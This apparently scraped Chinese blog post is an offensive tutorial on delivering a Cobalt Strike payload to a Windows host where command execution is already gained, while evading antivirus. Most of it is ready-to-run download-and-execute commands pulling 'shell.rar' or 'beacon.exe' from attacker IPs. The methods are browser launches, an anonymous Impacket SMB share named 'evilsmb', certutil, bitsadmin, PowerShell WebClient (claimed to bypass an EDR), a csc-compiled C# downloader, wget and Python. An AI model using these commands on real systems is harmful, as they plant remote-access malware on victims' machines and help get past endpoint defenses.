admin管理员组

文章数量:1637859

有时候我们可以执行命令,我们想上线cs,但是主机上存在杀软,使用一般的方式都会被拦截,此时如何下载文件进行上线了?

命令执行能回显

能执行命令,也能回显

通过浏览器下载

此种方式目前杀软不会进行拦截,前提条件

  • 服务器出网
  • 服务器安装了某些浏览器

1. 如何判断服务器是否安装了这些浏览器?

可以通过进程列表、wmic 命令、系统服务等方式查看,但是这些方法获取的软件信息都不全面,比较好的方法是我们可以通过查询浏览器的默认安装路径是否存在来判断

#edge默认安装路径
C:\Program Files (x86)\Microsoft\Edge
#firefox默认安装路径
C:\Program Files (x86)\Mozilla Firefox
#chrome默认安装路径
C:\Users\用户名\AppData\Local\Google\Chrome
dir "C:\Program Files (x86)\Microsoft"
dir "C:\Program Files (x86)"

2. 下载文件

首先,将我们的免杀木马后缀改为 rar ,exe后缀需要认证才能下载。当然,还有其他的后缀可以使用,需要注意的是,这种后缀的文件必须是直接下载,而不是在浏览器中打开。

#edge浏览器下载
start msedge http://192.168.125.146/shell.rar
#firefox
start firefox http://192.168.125.146/shell.rar
#chrome 
start chrome http://192.168.125.146/shell.rar

执行命令后会自动打开浏览器进行下载

3. 获取文件路径并执行

假设浏览器没有更改默认的下载路径,edge、firefox、chrome默认下载路径为

#默认下载路径
C:\Users\用户名\Downloads   					#通过whoami获取用户名
#查看文件是否存在
dir c:\Users\administrator\Downloads 
#执行文件
copy C:\Users\Administrator\Downloads\shell.rar C:\Windows\Temp\aa.exe && C:\Windows\Temp\aa.exe

更改了默认下载路径

如果更改了默认下载路径,那就只能先查找文件所在的路径

dir /s /b c:\shell.rar

通过SMB共享

smb(服务消息块),又称CIFS(网络共享文件系统),由微软开发,基于应用层网络传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。smb消息一般使用NetBIOS协议或TCP发送,分别使用端口139或445,目前倾向于使用445端口。

实战中可以在测试人员自己的服务器上搭建smb服务器,将需要横向传输的文件如攻击载荷放入smb服务器的共享目录,并指定UNC路径,让横向移动的目标主机如攻击载荷远程加载smb共享的文件。注意,需要使用smb匿名共享。

1. python搭建smb服务器

可以通过Impacket项目提供的smbserver.py来搭建:下载地址

搭建一个名为evilsmb的匿名共享,共享目录指向/root/桌面

#安装依赖
pip3 install impacket
#
python3 smbserver.py evilsmb /root/桌面 -smb2support
#共享目录指向当前目录
python3 smbserver.py evilsmb ./ -smb2support

2. 访问共享

2.1 使用UNC路径来访问网络共享资源:

\\servername\sharename\directory\filename

\\192.168.125.158\evilsmb

ps:有时候访问会弹出框让输入用户名密码,这种情况都输空格就行

2.2 直接使用命令复制共享文件到当前路径

copy "\\192.168.125.158\evilsmb\shell.txt" ".\\1.exe"

有时候会被360查杀

通过Windows自带工具

下面的方法都会被杀软拦截

Certutil

Certutil是windows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装。Certutil提供了从网络中下载文件的功能,测试人员可以在远程主机上执行Certutil命令,控制其下载预先部署在可控服务器上的恶意文件。

因为certutil是windows自带的exe,所以在使用的时候会比其他exe或者vbs更加方便。但是因为在下载文件的过程中也会创建进程,所以也遭到了各大杀软的拦截。

certutil -?     #查看帮助
certutil -urlcache -split -f  http://192.168.6.129/beacon.exe c:\apache.exe
#URLCache 显示或删除URL缓存条目
certutil -urlcache -split -f  http://192.168.79.129:8000/winClient c:\winClient

BITSAdmin

BITSAdmin是一个命令行工具,可以创建下载或上传文件并监控其进度。win7及以后版本自带BITSAdmin工具

创建一个名为test的bitsadmin任务,下载beacon到本地,并进行保存到c盘

bitsadmin /transfer test http://192.168.6.129/beacon.exe c:\apache.exe

该工具下载速度比certutil工具慢

保存路径需绝对路径否则报错

powershell

参考powershell远程加载执行的思路,可以通过创建webclient对象来实现文件下载(可过深信服EDR终端)

#绝对路径
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://118.89.133.137:8004/download/file.ext', 'C:\Users\ssrc\Desktop\apache.exe')"
#默认放在当前路径
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://118.89.133.137:8004/download/file.ext', 'apache.exe')"

下载速度:powershell >= certutil > bitsadmin

csc.exe

csc.exe是微软.NET Framework 中的C#编译器,可在命令行下将cs文件编译成exe,Windows系统中默认包含

默认安装路径

32位:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 
64位:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
注意:在有些低版本windows可能没有这个版本则使用
32位:C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe 
64位:C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

下载文件的代码如下,download.cs

using System.Net;
namespace downloader
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            string URLAddress = @"http://192.168.125.146/esclip.exe";
            string receivePath = @"C:\Windows\Temp\";
            client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
        (URLAddress));
        }
    }
}

编译download.cs则会生成down.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:c:\down.exe C:\Users\Administrator\Desktop\download.cs
#启动下载
c:\down.exe

执行down.exe就会下载“http://192.168.125.146/esclip.exe”到 "C:\Windows\Temp\" 目录下

通过其他

wget

如果系统安装了wget命令

#下载到当前路径
wget http://192.168.125.146/esclip.txt

python

如果系统中存在python环境,那下载文件或上线将更加简单

import requests

url = 'http://192.168.125.146/esclip.txt'
local_file_path = 'a.exe'

try:
    response = requests.get(url)
    with open(local_file_path, 'wb') as file:
        file.write(response.content)
    print('download success')
except Exception as e:
    print(f'download faild: {e}')

命令执行无回显

参考:Bypass | Windows通用下载绕过姿势总结

本文标签: 下载方法文件bypassWindows